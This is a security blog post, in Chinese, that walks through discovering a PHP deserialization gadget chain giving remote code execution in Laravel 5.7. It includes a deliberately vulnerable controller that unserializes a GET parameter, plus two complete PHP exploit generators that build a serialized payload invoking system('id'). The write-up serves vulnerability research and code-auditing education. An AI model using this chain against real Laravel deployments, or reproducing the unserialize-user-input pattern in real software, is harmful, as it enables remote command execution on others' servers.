Laravel5.7反序列化漏洞之RCE链挖掘

在前一阵的 2019强网杯线下赛 中,出现一道 Laravel5.7 RCE 漏洞的利用。之前有关注过这个漏洞,但没细究。比赛期间,原漏洞作者删除了详细的分析文章,故想自己挖掘这个漏洞利用链。本文将详细记录 Laravel5.7 反序列化漏洞RCE链 的挖掘过程。

漏洞环境

直接使用 composer 安装 laravel5.7 框架,并通过 php artisan serve 命令启动 Web 服务。

1
2
3
➜  html composer create-project laravel/laravel laravel57 "5.7.*"
➜ html cd laravel57
➜ laravel57 php artisan serve --host=0.0.0.0

laravel57/routes/web.php 文件中添加一条路由,便于我们后续访问。

1
2
3
4
// /var/www/html/laravel57/routes/web.php
<?php
Route::get("/","\App\Http\Controllers\DemoController@demo");
?>

laravel57/app/Http/Controllers/ 下添加 DemoController 控制器,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// /var/www/html/laravel57/app/Http/Controllers/DemoController.php
<?php
namespace App\Http\Controllers;

use Illuminate\Http\Request;

class DemoController extends Controller
{
public function demo()
{
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Welcome to laravel5.7";
}
}

漏洞链挖掘

可用于执行命令的功能位于 Illuminate/Foundation/Testing/PendingCommand 类的 run 方法中,而该 run 方法在 __destruct 方法中调用。我们可以参阅官方提供的 API 说明手册,来看下各属性和方法的具体含义。

1

接着我们看下 run 方法的具体代码。如下图所示,当执行完 mockConsoleOutput 方法后,程序会在 第22行 执行命令。那么要想利用这个命令执行,我们就要保证 mockConsoleOutput 方法在执行时不会中断程序(如exit、抛出异常等)。

2

我们跟进 mockConsoleOutput 方法。在下图 第6行 代码,我们先使用单步调试直接跳过,观察代码是否继续执行到 第10行foreach 代码。如果没有,我们则需要对 第6行 代码进行详细分析。经过调试,我们会发现程序正常执行到 第10行 ,那 第6行 的代码我们就可以先不细究。

3

从上图可看出, 第10行 $this->test 对象的 expectedQuestions 属性是一个数组。如果这个数组的内容可以控制,当然会方便我们控制下面的链式调用。所以我们这里考虑通过 __get 魔术方法来控制数据,恰巧 laravel 框架中有挺多可利用的地方,这里我随意选取一个 Faker\DefaultGenerator 类。

4

所以我们构造如下 EXP 继续进行测试。同样,使用该 EXPforeach 语句处使用单步跳过,看看是否可以正常执行到 $this->app->bind(xxxx) 语句。实际上,这里可以正常结束 foreach 语句,并没有抛出什么异常。同样,我们对 $this->app->bind(xxxx) 语句也使用单步跳过,程序同样可以正常运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
public $test;
protected $app;
protected $command;
protected $parameters;

public function __construct($test, $app, $command, $parameters)
{
$this->test = $test;
$this->app = $app;
$this->command = $command;
$this->parameters = $parameters;
}
}
}

namespace Faker{
class DefaultGenerator{
protected $default;

public function __construct($default = null)
{
$this->default = $default;
}
}
}

namespace Illuminate\Foundation{
class Application{
public function __construct() { }
}
}

namespace{
$defaultgenerator = new Faker\DefaultGenerator(array("1" => "1"));
$application = new Illuminate\Foundation\Application();
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('id'));
echo urlencode(serialize($pendingcommand));
}
?>

使用上面的 EXP ,我们已经可以成功进入到最后一步,而这里如果直接单步跳过就会抛出异常,因此我们需要跟进细看。

1
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

这里的 $this->app 实际上是 Illuminate\Foundation\Application 类,而在类后面使用 [] 是什么意思呢?一开始,我以为这是 PHP7 的新语法,后来发现并不是。我们在上面的代码前加上如下两段代码,然后动态调试一下。

1
2
3
$kclass = Kernel::class;
$app = $this->app[Kernel::class];
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

可以看到 Kernel::class 对应固定的字符串 Illuminate\Contracts\Console\Kernel ,而单步跳过 $app = $this->app[Kernel::class]; 代码时会抛出异常。跟进这段代码,我们会发现其会依次调用如下类方法,这些我们都不需要太关注,因为没有发现可控点。

5

我们要关注的点在最后调用的 resolve 方法上,因为这段代码中有我们可控的利用点。如下图中 角标1 处,可以明显看到程序 return 了一个我们可控的数据。也就是说,我们可以将任意对象赋值给 $this->instances[$abstract] ,这个对象最终会赋值给 $this->app[Kernel::class] ,这样就会变成调用我们构造的对象的 call 方法了。(下图的第二个点是原漏洞作者利用的地方,目的也是返回一个可控类实例,具体可以参看文章:laravelv5.7反序列化rce(CVE-2019-9081)

6

现在我们再次构造如下 EXP 继续进行尝试。为了避免文章篇幅过长,与上面 EXP 相同的代码段用省略号代替。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
...
}
}

namespace Faker{
class DefaultGenerator{
...
}
}

namespace Illuminate\Foundation{
class Application{
protected $instances = [];

public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}

namespace{
$defaultgenerator = new Faker\DefaultGenerator(array("1" => "1"));
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('id'));
echo urlencode(serialize($pendingcommand));
}

?>

我们用上面生成的 EXP 尝试攻击,会发现已经可以成功执行命令了。

7

这里我们再来说说为什么这里 $this->instances[‘Illuminate\Contracts\Console\Kernel’] 我选择的是 Illuminate\Foundation\Application 类,我们跟着 EXP

Illuminate\Foundation\Application 类继承了 Illuminate\Container\Container 类的 call 方法,其调用的又是 Illuminate\Container\BoundMethodcall 静态方法。而在这个静态方法中,我们看到一个关键函数 call_user_func_array ,其在闭包函数中被调用。

8

我们先来看一下这个闭包函数在 callBoundMethod 静态方法中是如何被调用的。可以看到在 callBoundMethod 方法中,返回了闭包函数的调用结果。而闭包函数中返回了 call_user_func_array($callback, static::getMethodDependencies(xxxx)) ,我们继续看这个 getMethodDependencies 函数的代码。该函数仅仅只是返回 $dependencies 数组和 $parameters 的合并数据,其中 $dependencies 默认是一个空数组,而 $parameters 正是我们可控的数据。因此,这个闭包函数返回的是 call_user_func_array(可控数据,可控数据) ,最终导致代码执行。

9

总结

个人认为 PHP 相关的漏洞中,最有意思的部分就属于 POP链 的挖掘。通过不断找寻可利用点,再将它们合理的串成一条链,直达漏洞核心。为了防止思维被固化,个人不建议一开始就去细看他人的漏洞分析文章,不妨自己先试着分析分析。待完成整个漏洞的分析(或遇到问题无法继续下去时),再看他人的文章,学习他们优秀的思路,从而提高自身的代码审计能力。

文章作者: Mochazz
文章链接: https://mochazz.github.io/2019/06/25/Laravel5.7反序列化漏洞之RCE链挖掘/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog